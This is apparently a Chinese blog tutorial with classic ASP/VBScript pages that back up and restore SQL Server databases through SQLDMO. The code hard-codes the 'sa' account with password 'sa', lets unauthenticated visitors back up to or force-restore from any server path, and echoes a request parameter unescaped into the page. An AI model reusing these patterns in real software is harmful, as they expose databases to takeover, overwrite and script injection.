ASP备份数据库<br /><br />&amp;nbsp;<br /> 文件1:BackupDB.asp&amp;nbsp;<br /> <br /><br />&amp;lt;%@&amp;nbsp;Language=VBScript&amp;nbsp;%&amp;gt;<br />&amp;lt;HTML&amp;gt;<br />&amp;lt;HEAD&amp;gt;<br />&amp;lt;META&amp;nbsp;name=VI60_defaultClientScript&amp;nbsp;content=VBScript&amp;gt;<br />&amp;lt;META&amp;nbsp;NAME=&amp;quot;GENERATOR&amp;quot;&amp;nbsp;Content=&amp;quot;Microsoft&amp;nbsp;FrontPage&amp;nbsp;4.0&amp;quot;&amp;gt;<br />&amp;lt;SCRIPT&amp;nbsp;ID=clientEventHandlersVBS&amp;nbsp;LANGUAGE=vbscript&amp;gt;<br />&amp;lt;!–<br /><br />Sub&amp;nbsp;btnbak_onclick<br />if&amp;nbsp;frmbak.txtsvr.value=&amp;quot;&amp;quot;&amp;nbsp;then<br />window.alert(&amp;quot;&#39;Server&amp;nbsp;Name&#39;&amp;nbsp;is&amp;nbsp;empty!&amp;quot;)<br />frmbak.txtsvr.focus<br />exit&amp;nbsp;sub<br />end&amp;nbsp;if<br />if&amp;nbsp;frmbak.txtuid.value=&amp;quot;&amp;quot;&amp;nbsp;then<br />window.alert(&amp;quot;&#39;Administrators&#39;&amp;nbsp;is&amp;nbsp;empty!&amp;quot;)<br />frmbak.txtuid.focus<br />exit&amp;nbsp;sub<br />end&amp;nbsp;if<br />if&amp;nbsp;frmbak.txtdb.value=&amp;quot;&amp;quot;&amp;nbsp;then<br />window.alert(&amp;quot;&#39;Database&#39;&amp;nbsp;is&amp;nbsp;empty!&amp;quot;)<br />frmbak.txtdb.focus<br />exit&amp;nbsp;sub<br />end&amp;nbsp;if<br />if&amp;nbsp;frmbak.txtto.value=&amp;quot;&amp;quot;&amp;nbsp;then<br />window.alert(&amp;quot;&#39;Backup&amp;nbsp;To&#39;&amp;nbsp;is&amp;nbsp;empty!&amp;quot;)<br />frmbak.txtto.focus<br />exit&amp;nbsp;sub<br />end&amp;nbsp;if<br />frmbak.submit<br />End&amp;nbsp;Sub<br /><br />–&amp;gt;<br />&amp;lt;/SCRIPT&amp;gt;<br />&amp;lt;link&amp;nbsp;rel=&amp;quot;stylesheet&amp;quot;&amp;nbsp;href=&amp;quot;../../sheets/B2BStyle.css&amp;quot;&amp;gt;<br />&amp;lt;/HEAD&amp;gt;<br />&amp;lt;form&amp;nbsp;action=&amp;quot;backupdbsave.asp&amp;quot;&amp;nbsp;method=&amp;quot;post&amp;quot;&amp;nbsp;id=frmbak&amp;nbsp;name=frmbak&amp;gt;<br />&amp;lt;body&amp;nbsp;class=&amp;quot;bg_frame_up&amp;quot;&amp;gt;<br />&amp;lt;p&amp;nbsp;class=heading&amp;gt;&amp;nbsp;Database&amp;nbsp;–&amp;gt;&amp;nbsp;Backup&amp;lt;/p&amp;gt;<br />&amp;lt;P&amp;nbsp;align=center&amp;gt;<br />&amp;lt;div&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;gt;<br />&amp;lt;center&amp;gt;<br />&amp;lt;table&amp;nbsp;width=&amp;quot;60%&amp;quot;&amp;nbsp;cellpadding=1&amp;nbsp;cellspacing=1&amp;nbsp;border=0&amp;nbsp;align=center&amp;gt;<br />&amp;lt;tr&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_FN&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;40%&amp;quot;&amp;gt;Server&amp;nbsp;Name:&amp;lt;/td&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_F&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;59%&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;INPUT&amp;nbsp;id=txtsvr&amp;nbsp;name=txtsvr&amp;nbsp;size=&amp;quot;20&amp;quot;&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;<br />&amp;lt;/tr&amp;gt;<br />&amp;lt;tr&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_FN&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;40%&amp;quot;&amp;gt;Administrators:&amp;lt;/td&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_F&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;59%&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;INPUT&amp;nbsp;id=txtuid&amp;nbsp;name=txtuid&amp;nbsp;size=&amp;quot;20&amp;quot;&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;<br />&amp;lt;/tr&amp;gt;<br />&amp;lt;tr&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_FN&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;40%&amp;quot;&amp;gt;Password:&amp;lt;/td&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_F&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;59%&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;INPUT&amp;nbsp;id=txtpwd&amp;nbsp;name=txtpwd&amp;nbsp;type=password&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;<br />&amp;lt;/tr&amp;gt;<br />&amp;lt;tr&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_FN&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;40%&amp;quot;&amp;gt;Database:&amp;lt;/td&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_F&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;59%&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;p&amp;nbsp;align=&amp;quot;left&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;INPUT&amp;nbsp;id=txtdb&amp;nbsp;name=txtdb&amp;nbsp;size=&amp;quot;20&amp;quot;&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;<br />&amp;lt;/td&amp;gt;<br />&amp;lt;/tr&amp;gt;<br /><br />&amp;lt;td&amp;nbsp;class=TD_Mand_FN&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;40%&amp;quot;&amp;gt;Backup&amp;nbsp;To:&amp;lt;br&amp;gt;<br />&amp;lt;u&amp;gt;(Server&amp;nbsp;Path)&amp;lt;/u&amp;gt;&amp;lt;/td&amp;gt;&amp;nbsp;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_F&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;59%&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;input&amp;nbsp;id=txtto&amp;nbsp;name=txtto&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;nbsp;<br />&amp;lt;/tr&amp;gt;&amp;nbsp;<br />&amp;lt;/table&amp;gt;&amp;nbsp;<br />&amp;lt;/center&amp;gt;&amp;nbsp;&amp;lt;/div&amp;gt;&amp;nbsp;<br />&amp;lt;p&amp;nbsp;align=center&amp;gt;&amp;lt;input&amp;nbsp;id=btnbak&amp;nbsp;name=btnbak&amp;nbsp;type=button&amp;nbsp;value=&amp;quot;Start&amp;nbsp;Backup&amp;quot;&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&amp;nbsp;<br />&amp;lt;/body&amp;gt;&amp;nbsp;<br />&amp;lt;/form&amp;gt;&amp;nbsp;<br />&amp;lt;/HTML&amp;gt;&amp;nbsp;<br /><br /><br />文件2:BackupDBSave.asp<br /><br />&amp;lt;%@&amp;nbsp;Language=VBScript&amp;nbsp;%&amp;gt;<br />&amp;lt;%<br />dim&amp;nbsp;msvr,muid,mpwd,mdb,mto<br />msvr=Request.Form(&amp;quot;txtsvr&amp;quot;)<br />muid=Request.Form(&amp;quot;txtuid&amp;quot;)<br />mpwd=Request.Form(&amp;quot;txtpwd&amp;quot;)<br />mdb=Request.Form(&amp;quot;txtdb&amp;quot;)<br />mto=Request.Form(&amp;quot;txtto&amp;quot;)<br />if&amp;nbsp;mpwd=&amp;quot;&amp;quot;&amp;nbsp;then&amp;nbsp;mpwd=&amp;quot;&#39;&#39;&amp;quot;<br /><br />on&amp;nbsp;error&amp;nbsp;resume&amp;nbsp;next<br />set&amp;nbsp;dmosvr=server.Cr&#101;ateObject(&amp;quot;SQLDMO.SQLServer&amp;quot;)<br />dmosvr.connect&amp;nbsp;msvr,muid,mpwd<br /><br />if&amp;nbsp;err.number&amp;gt;0&amp;nbsp;then&amp;nbsp;Response.Redirect(&amp;quot;http:backuperr.asp?err=&amp;quot;&amp;amp;err.number)<br /><br />mdevname=&amp;quot;Backup_&amp;quot;&amp;amp;muid&amp;amp;&amp;quot;_&amp;quot;&amp;amp;mdb<br />set&amp;nbsp;dmodev=server.Cr&#101;ateObject(&amp;quot;SQLDMO.BackupDevice&amp;quot;)<br />dmodev.name=mdevname<br />dmodev.type=2<br />dmodev.PhysicalLocation=mto<br />dmosvr.BackupDevices.Add&amp;nbsp;dmodev<br /><br />if&amp;nbsp;err.number&amp;gt;0&amp;nbsp;then&amp;nbsp;Response.Redirect(&amp;quot;http:backuperr.asp?err=&amp;quot;&amp;amp;err.number)<br /><br />set&amp;nbsp;dmobak=server.Cr&#101;ateObject(&amp;quot;SQLDMO.Backup&amp;quot;)<br />dmobak.database=mdb<br />dmobak.devices=mdevname<br />%&amp;gt;<br />&amp;lt;HTML&amp;gt;<br />&amp;lt;HEAD&amp;gt;<br />&amp;lt;META&amp;nbsp;NAME=&amp;quot;GENERATOR&amp;quot;&amp;nbsp;Content=&amp;quot;Microsoft&amp;nbsp;Visual&amp;nbsp;Studio&amp;nbsp;6.0&amp;quot;&amp;gt;<br />&amp;lt;/HEAD&amp;gt;<br />&amp;lt;body&amp;nbsp;background=&amp;quot;../../Images/dot.gif&amp;quot;&amp;gt;<br /><br />&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Backuping,&amp;nbsp;wait&amp;nbsp;please…&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;<br />&amp;lt;%<br />dmobak.sqlbackup&amp;nbsp;dmosvr<br />if&amp;nbsp;err.number&amp;gt;0&amp;nbsp;then&amp;nbsp;Response.Redirect(&amp;quot;http:backuperr.asp?err=&amp;quot;&amp;amp;err.number)<br /><br />dmosvr.backupdevices(mdevname).remove<br />set&amp;nbsp;dmobak=nothing<br />set&amp;nbsp;dmodev=nothing<br />dmosvr.disconnect<br />set&amp;nbsp;dmosvr=nothing<br />%&amp;gt;<br />&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Database&amp;nbsp;&#39;&amp;lt;%=mdb%&amp;gt;&#39;&amp;nbsp;backup&amp;nbsp;successed!&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;<br />&amp;lt;/BODY&amp;gt;<br />&amp;lt;/HTML&amp;gt;<br /><br /><br />文件3:BackupErr.asp<br /><br />&amp;lt;%@&amp;nbsp;Language=VBScript&amp;nbsp;%&amp;gt;<br />&amp;lt;%<br />dim&amp;nbsp;errno,errstr<br />errno=Request.QueryString(&amp;quot;err&amp;quot;)<br />errstr=&amp;quot;&amp;quot;<br />sel&#101;ct&amp;nbsp;case&amp;nbsp;cstr(errno)<br />case&amp;nbsp;&amp;quot;18456&amp;quot;<br />errstr=&amp;quot;administrators&amp;nbsp;or&amp;nbsp;password&amp;nbsp;error!&amp;quot;<br />case&amp;nbsp;&amp;quot;20482&amp;quot;<br />errstr=&amp;quot;server&amp;nbsp;name&amp;nbsp;error&amp;nbsp;or&amp;nbsp;server&amp;nbsp;cannot&amp;nbsp;connect!&amp;quot;<br />case&amp;nbsp;&amp;quot;911&amp;quot;<br />errstr=&amp;quot;database&amp;nbsp;not&amp;nbsp;found!&amp;quot;<br />case&amp;nbsp;&amp;quot;15026&amp;quot;<br />errstr=&amp;quot;server&amp;nbsp;path&amp;nbsp;not&amp;nbsp;found!&amp;quot;<br />case&amp;nbsp;&amp;quot;3201&amp;quot;<br />errstr=&amp;quot;server&amp;nbsp;path&amp;nbsp;not&amp;nbsp;found!&amp;quot;<br />case&amp;nbsp;&amp;quot;3254&amp;quot;<br />errstr=&amp;quot;restore&amp;nbsp;from&amp;nbsp;file&amp;nbsp;lawlessness!&amp;quot;<br />case&amp;nbsp;else<br />errstr=&amp;quot;unknown&amp;nbsp;error!&amp;nbsp;retry&amp;nbsp;later&amp;nbsp;please!&amp;quot;<br />end&amp;nbsp;sel&#101;ct<br />%&amp;gt;<br />&amp;lt;HTML&amp;gt;<br />&amp;lt;HEAD&amp;gt;<br />&amp;lt;META&amp;nbsp;name=VI60_defaultClientScript&amp;nbsp;content=VBScript&amp;gt;<br />&amp;lt;META&amp;nbsp;NAME=&amp;quot;GENERATOR&amp;quot;&amp;nbsp;Content=&amp;quot;Microsoft&amp;nbsp;FrontPage&amp;nbsp;4.0&amp;quot;&amp;gt;<br />&amp;lt;SCRIPT&amp;nbsp;ID=clientEventHandlersVBS&amp;nbsp;LANGUAGE=vbscript&amp;gt;<br />&amp;lt;!–<br /><br />Sub&amp;nbsp;btnret_onclick<br />history.back<br />End&amp;nbsp;Sub<br /><br />–&amp;gt;<br />&amp;lt;/SCRIPT&amp;gt;<br />&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;<br />&amp;lt;/HEAD&amp;gt;<br />&amp;lt;body&amp;nbsp;class=&amp;quot;bg_frame_up&amp;quot;&amp;gt;<br />&amp;lt;p&amp;nbsp;align=center&amp;gt;&amp;lt;font&amp;nbsp;color=#006666&amp;gt;&amp;lt;%=errstr%&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/p&amp;gt;<br />&amp;lt;p&amp;nbsp;align=center&amp;gt;&amp;lt;input&amp;nbsp;id=btnret&amp;nbsp;name=btnret&amp;nbsp;type=button&amp;nbsp;value=Return&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;<br />&amp;lt;/BODY&amp;gt;<br />&amp;lt;/HTML&amp;gt;&amp;nbsp;<br /><strong>Asp备份与恢复SQL Server数据库</strong>

<div style=&#34;PADDING-RIGHT: 0px; MARGIN-TOP: 10px; FONT-SIZE: 9pt; OVERFLOW-X: hidden; WIDTH: 97%; WORD-BREAK: break-all; TEXT-INDENT: 24px; LINE-HEIGHT: normal; HEIGHT: 200px; WORD-WRAP: break-word&#34; onload=&#34;this.style.overflowX=&#39;auto&#39;;&#34;>

<p>一个用asp备份与恢复SQL Server数据库的例子代码,希望对一些朋友有用。(注意:数据库使用中可能无法恢复) </p>

&amp;lt;HTML&amp;gt;<br />&amp;lt;HEAD&amp;gt;<br />&amp;lt;TITLE&amp;gt;SQL Server 数据库的备份与恢复&amp;lt;/TITLE&amp;gt;<br />&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=gb2312&amp;quot;&amp;gt;<br />&amp;lt;/HEAD&amp;gt;<br />&amp;lt;BODY&amp;gt;<br />&amp;lt;form method=&amp;quot;post&amp;quot; name=myform&amp;gt;<br />选择操作:&amp;lt;INPUT TYPE=&amp;quot;radio&amp;quot; NAME=&amp;quot;act&amp;quot; id=&amp;quot;act_backup&amp;quot;&amp;nbsp;&amp;nbsp;value=&amp;quot;backup&amp;quot;&amp;gt;&amp;lt;label for=act_backup&amp;gt;备份&amp;lt;/label&amp;gt; <br />&amp;lt;INPUT TYPE=&amp;quot;radio&amp;quot; NAME=&amp;quot;act&amp;quot; id=&amp;quot;act_restore&amp;quot; value=&amp;quot;restore&amp;quot;&amp;gt;&amp;lt;label for=act_restore&amp;gt;恢复&amp;lt;/label&amp;gt;<br />&amp;lt;br&amp;gt;数据库名:&amp;lt;INPUT TYPE=&amp;quot;text&amp;quot; NAME=&amp;quot;databasename&amp;quot; value=&amp;quot;&amp;lt;%=request(&amp;quot;databasename&amp;quot;)%&amp;gt;&amp;quot;&amp;gt;<br />&amp;lt;br&amp;gt;文件路径:&amp;lt;INPUT TYPE=&amp;quot;text&amp;quot; NAME=&amp;quot;bak_file&amp;quot; value=&amp;quot;c:$1.bak&amp;quot;&amp;gt;(备份或恢复的文件路径)&amp;lt;br&amp;gt;<br />&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;确定&amp;quot;&amp;gt;<br />&amp;lt;/form&amp;gt;<br />&amp;lt;%<br />&#39;SQL Server 数据库的备份与恢复!<br />&#39;海娃@2004-4-2<br />&#39;<a href=&#34;http://www.51windows.net/&#34; target=&#34;_blank&#34;>http://www.51windows.Net</a><br />dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act<br />sqlserver = &amp;quot;localhost&amp;quot; &#39;sql服务器<br />sqlname = &amp;quot;sa&amp;quot;&amp;nbsp;&amp;nbsp; &#39;用户名<br />sqlpassword = &amp;quot;sa&amp;quot;&amp;nbsp;&amp;nbsp;&#39;密码<br />sqlLoginTimeout = 15 &#39;登陆超时<br />databasename = trim(request(&amp;quot;databasename&amp;quot;))<br />bak_file = trim(request(&amp;quot;bak_file&amp;quot;))<br />bak_file = replace(bak_file,&amp;quot;$1&amp;quot;,databasename)<br />act = lcase(request(&amp;quot;act&amp;quot;))<br />if databasename = &amp;quot;&amp;quot; then<br />response.write &amp;quot;input database name&amp;quot;<br />else<br />if act = &amp;quot;backup&amp;quot; then<br />&amp;nbsp;&amp;nbsp;Set srv=Server.Cr&#101;ateObject(&amp;quot;SQLDMO.SQLServer&amp;quot;)<br />&amp;nbsp;&amp;nbsp;srv.LoginTimeout = sqlLoginTimeout<br />&amp;nbsp;&amp;nbsp;srv.Connect sqlserver,sqlname, sqlpassword<br />&amp;nbsp;&amp;nbsp;Set bak = Server.Cr&#101;ateObject(&amp;quot;SQLDMO.Backup&amp;quot;)<br />&amp;nbsp;&amp;nbsp;bak.Database=databasename<br />&amp;nbsp;&amp;nbsp;bak.Devices=Files<br />&amp;nbsp;&amp;nbsp;bak.Files=bak_file<br />&amp;nbsp;&amp;nbsp;bak.SQLBackup srv<br />&amp;nbsp;&amp;nbsp;if err.number&amp;gt;0 then<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.write err.number&amp;amp;&amp;quot;&amp;lt;font color=red&amp;gt;&amp;lt;br&amp;gt;&amp;quot;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.write err.description&amp;amp;&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;<br />&amp;nbsp;&amp;nbsp;end if<br />&amp;nbsp;&amp;nbsp;Response.write &amp;quot;&amp;lt;font color=green&amp;gt;备份成功!&amp;lt;/font&amp;gt;&amp;quot;<br />elseif act = &amp;quot;restore&amp;quot; then<br />&amp;nbsp;&amp;nbsp;&#39;恢复时要在没有使用数据库时进行!<br />&amp;nbsp;&amp;nbsp;Set srv=Server.Cr&#101;ateObject(&amp;quot;SQLDMO.SQLServer&amp;quot;)<br />&amp;nbsp;&amp;nbsp;srv.LoginTimeout = sqlLoginTimeout<br />&amp;nbsp;&amp;nbsp;srv.Connect sqlserver,sqlname, sqlpassword<br />&amp;nbsp;&amp;nbsp;Set rest=Server.Cr&#101;ateObject(&amp;quot;SQLDMO.Restore&amp;quot;)<br />&amp;nbsp;&amp;nbsp;rest.Action=0 &#39; full db restore<br />&amp;nbsp;&amp;nbsp;rest.Database=databasename<br />&amp;nbsp;&amp;nbsp;rest.Devices=Files<br />&amp;nbsp;&amp;nbsp;rest.Files=bak_file<br />&amp;nbsp;&amp;nbsp;rest.ReplaceDatabase=True &#39;Force restore over existing database<br />&amp;nbsp;&amp;nbsp;if err.number&amp;gt;0 then<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.write err.number&amp;amp;&amp;quot;&amp;lt;font color=red&amp;gt;&amp;lt;br&amp;gt;&amp;quot;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.write err.description&amp;amp;&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;<br />&amp;nbsp;&amp;nbsp;end if<br />&amp;nbsp;&amp;nbsp;rest.SQLRestore srv<br />&amp;nbsp;&amp;nbsp;<br />&amp;nbsp;&amp;nbsp;Response.write &amp;quot;&amp;lt;font color=green&amp;gt;恢复成功!&amp;lt;/font&amp;gt;&amp;quot;<br />else<br />&amp;nbsp;&amp;nbsp;Response.write &amp;quot;&amp;lt;font color=red&amp;gt;没有选择操作&amp;lt;/font&amp;gt;&amp;quot;<br />end if<br />end if<br />%&amp;gt;<br />&amp;lt;/BODY&amp;gt;<br />&amp;lt;/HTML&amp;gt;</div>

返回顶部